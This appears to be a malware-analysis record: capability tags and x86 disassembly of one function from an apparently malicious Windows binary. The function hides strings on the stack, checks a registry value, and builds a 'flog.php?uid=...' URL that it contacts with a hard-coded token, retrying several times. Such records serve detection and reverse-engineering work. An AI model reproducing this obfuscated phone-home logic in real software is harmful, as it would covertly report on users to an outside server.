Function at 0x4968c0
Capabilities:
Contain obfuscated stackstrings
Query or enumerate registry value

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x497dc8
mov eax, dword fs:[0]
push eax
sub esp, 0x2a4
mov eax, dword [0x4bf070]
xor eax, ebp
mov dword [ebp - 0x10], eax
push ebx
push esi
push edi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
lea eax, [ebp - 0x64]
mov dword [ebp - 0x64], 0x74666f53
push eax
lea ecx, [ebp - 0x27c]
mov dword [ebp - 0x5d], 0x55455c65
mov word [ebp - 0x59], 0x4b44
mov word [ebp - 0x60], 0x6177
mov byte [ebp - 0x57], 0
mov byte [ebp - 0x5e], 0x72
mov dword [ebp - 0x27c], 0
call fcn.0040bf20
push 0x104
lea eax, [ebp - 0x170]
mov dword [ebp - 4], 0
push 0
push eax
call fcn.004179d0
add esp, 0xc
lea ecx, [ebp - 0x170]
call fcn.00496d30
lea eax, [ebp - 0x170]
push eax
lea ecx, [ebp - 0x2ac]
call fcn.0040bf20
push 0x4b7e58
mov edx, eax
mov byte [ebp - 4], 1
lea ecx, [ebp - 0x2a8]
call fcn.00408ae0
add esp, 4
lea ecx, [ebp - 0x27c]
mov byte [ebp - 4], 2
push ecx
mov edx, eax
lea ecx, [ebp - 0x280]
call fcn.00408bd0
add esp, 4
mov byte [ebp - 4], 3
mov edx, dword [eax]
mov edi, dword [ebp - 0x27c]
add edi, 0xfffffff0
lea ecx, [edx - 0x10]
cmp ecx, edi
je 0x4969e1
cmp dword [edi + 0xc], 0
jl 0x4969d2
mov eax, dword [ecx]
cmp eax, dword [edi]
jne 0x4969d2
call fcn.0040bfe0
mov ecx, edi
mov esi, eax
call fcn.0040c610
lea eax, [esi + 0x10]
mov dword [ebp - 0x27c], eax
jmp 0x4969e1
push dword [edx - 0xc]
lea ecx, [ebp - 0x27c]
push edx
call fcn.0040be40
mov byte [ebp - 4], 2
or ebx, 0xffffffff
mov ecx, dword [ebp - 0x280]
mov eax, ebx
add ecx, 0xfffffff0
lock xadd dword [ecx + 0xc], eax
dec eax
mov esi, dword [sym.imp.KERNEL32.dll_HeapFree]
test eax, eax
jg 0x496a22
mov edx, dword [ecx]
push ecx
mov eax, dword [edx]
mov edi, dword [eax + 4]
cmp eax, vtable.ATL::CAtlStringMgr.0
jne 0x496a1e
mov eax, dword [edx + 4]
push 0
push dword [eax + 4]
call esi
jmp 0x496a22
mov ecx, edx
call edi
mov byte [ebp - 4], 1
mov eax, ebx
mov ecx, dword [ebp - 0x2a8]
add ecx, 0xfffffff0
lock xadd dword [ecx + 0xc], eax
dec eax
test eax, eax
jg 0x496a5a
mov edx, dword [ecx]
push ecx
mov eax, dword [edx]
mov edi, dword [eax + 4]
cmp eax, vtable.ATL::CAtlStringMgr.0
jne 0x496a56
mov eax, dword [edx + 4]
push 0
push dword [eax + 4]
call esi
jmp 0x496a5a
mov ecx, edx
call edi
mov byte [ebp - 4], 0
mov eax, ebx
mov ecx, dword [ebp - 0x2ac]
add ecx, 0xfffffff0
lock xadd dword [ecx + 0xc], eax
dec eax
test eax, eax
jg 0x496a92
mov edx, dword [ecx]
push ecx
mov eax, dword [edx]
mov edi, dword [eax + 4]
cmp eax, vtable.ATL::CAtlStringMgr.0
jne 0x496a8e
mov eax, dword [edx + 4]
push 0
push dword [eax + 4]
call esi
jmp 0x496a92
mov ecx, edx
call edi
lea eax, [ebp - 0x288]
mov dword [ebp - 0x284], 0
push eax
lea eax, [ebp - 0x284]
mov dword [ebp - 0x288], 4
push eax
lea eax, [ebp - 0x28c]
mov dword [ebp - 0x28c], 4
push eax
lea eax, [ebp - 0x50]
mov dword [ebp - 0x45], 0x54746e6f
push eax
push dword [ebp - 0x27c]
mov word [ebp - 0x4d], 0x6574
push reloc.WS2_32.dll_closesocket
mov word [ebp - 0x50], 0x7953
mov dword [ebp - 0x40], 0x666570
mov dword [ebp - 0x49], 0x464b4455
mov byte [ebp - 0x4e], 0x73
mov byte [ebp - 0x41], 0x79
mov word [ebp - 0x4b], 0x456d
call dword [sym.imp.SHLWAPI.dll_SHGetValueA]
cmp dword [ebp - 0x284], 1
jne 0x496cda
lea ecx, [ebp - 0x280]
mov dword [ebp - 0x280], 0
call fcn.0040c650
mov byte [ebp - 4], 4
lea ecx, [ebp - 0x2a8]
mov dword [ebp - 0x1d], 0x73253d6d
mov dword [ebp - 0x38], 0x70747468
mov word [ebp - 0x2c], 0x6f6c
mov dword [ebp - 0x18], 0x313d73
mov dword [ebp - 0x24], 0x3d646975
mov dword [ebp - 0x29], 0x7068702e
mov word [ebp - 0x2f], 0x2f73
mov word [ebp - 0x1f], 0x2673
mov byte [ebp - 0x2a], 0x67
mov dword [ebp - 0x34], 0x2f2f3a73
mov byte [ebp - 0x19], 0x26
mov byte [ebp - 0x30], 0x25
mov byte [ebp - 0x20], 0x25
mov byte [ebp - 0x2d], 0x66
mov byte [ebp - 0x25], 0x3f
call fcn.004135a0
mov esi, eax
lea ecx, [ebp - 0x2ac]
mov byte [ebp - 4], 5
call fcn.004058b0
push str.bc518bf45fde40a7b69e75d9e2c385eb
mov byte [ebp - 4], 6
push dword [esi]
push dword [eax]
lea eax, [ebp - 0x38]
push eax
lea eax, [ebp - 0x280]
push eax
call fcn.0040ae40
add esp, 0x14
lea ecx, [ebp - 0x2ac]
call fcn.0040c260
lea ecx, [ebp - 0x2a8]
call fcn.0040c260
mov esi, dword [ebp - 0x280]
xor edi, edi
nop dword [eax]
push 0x104
lea eax, [ebp - 0x278]
push 0
push eax
call fcn.004179d0
add esp, 0xc
lea ecx, [ebp - 0x278]
call fcn.00496d30
mov dword [ebp - 0x290], 0xf
mov dword [ebp - 0x294], 0
mov byte [ebp - 0x2a4], 0
lea eax, [ebp - 0x2a4]
mov byte [ebp - 4], 7
push eax
push esi
call fcn.004a40b0
test al, al
je 0x496c5e
cmp dword [ebp - 0x290], 0x10
lea ecx, [ebp - 0x2a4]
mov edx, dword [ebp - 0x294]
cmovae ecx, dword [ebp - 0x2a4]
push 1
push 0x4b7e84
call fcn.00403cd0
add esp, 8
test eax, eax
je 0x496c93
push 0x3e8
call dword [sym.imp.KERNEL32.dll_Sleep]
mov eax, dword [ebp - 0x290]
cmp eax, 0x10
jb 0x496c87
inc eax
lea ecx, [ebp - 0x2a4]
push eax
push dword [ebp - 0x2a4]
call fcn.004056c0
inc edi
cmp edi, 6
jl 0x496be0
jmp 0x496c9e
lea ecx, [ebp - 0x2a4]
call fcn.00405260
mov byte [ebp - 4], 0
add esi, 0xfffffff0
mov eax, ebx
lock xadd dword [esi + 0xc], eax
dec eax
test eax, eax
jg 0x496cd4
mov ecx, dword [esi]
push esi
mov eax, dword [ecx]
mov edx, dword [eax + 4]
cmp eax, vtable.ATL::CAtlStringMgr.0
jne 0x496cd2
mov eax, dword [ecx + 4]
mov esi, dword [sym.imp.KERNEL32.dll_HeapFree]
push 0
push dword [eax + 4]
call esi
jmp 0x496cda
call edx
mov esi, dword [sym.imp.KERNEL32.dll_HeapFree]
mov dword [ebp - 4], 0xffffffff
mov ecx, dword [ebp - 0x27c]
add ecx, 0xfffffff0
lock xadd dword [ecx + 0xc], ebx
dec ebx
test ebx, ebx
jg 0x496d13
mov edx, dword [ecx]
push ecx
mov eax, dword [edx]
mov edi, dword [eax + 4]
cmp eax, vtable.ATL::CAtlStringMgr.0
jne 0x496d0f
mov eax, dword [edx + 4]
push 0
push dword [eax + 4]
call esi
jmp 0x496d13
mov ecx, edx
call edi
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov ecx, dword [ebp - 0x10]
xor ecx, ebp
call fcn.0041553e
mov esp, ebp
pop ebp
ret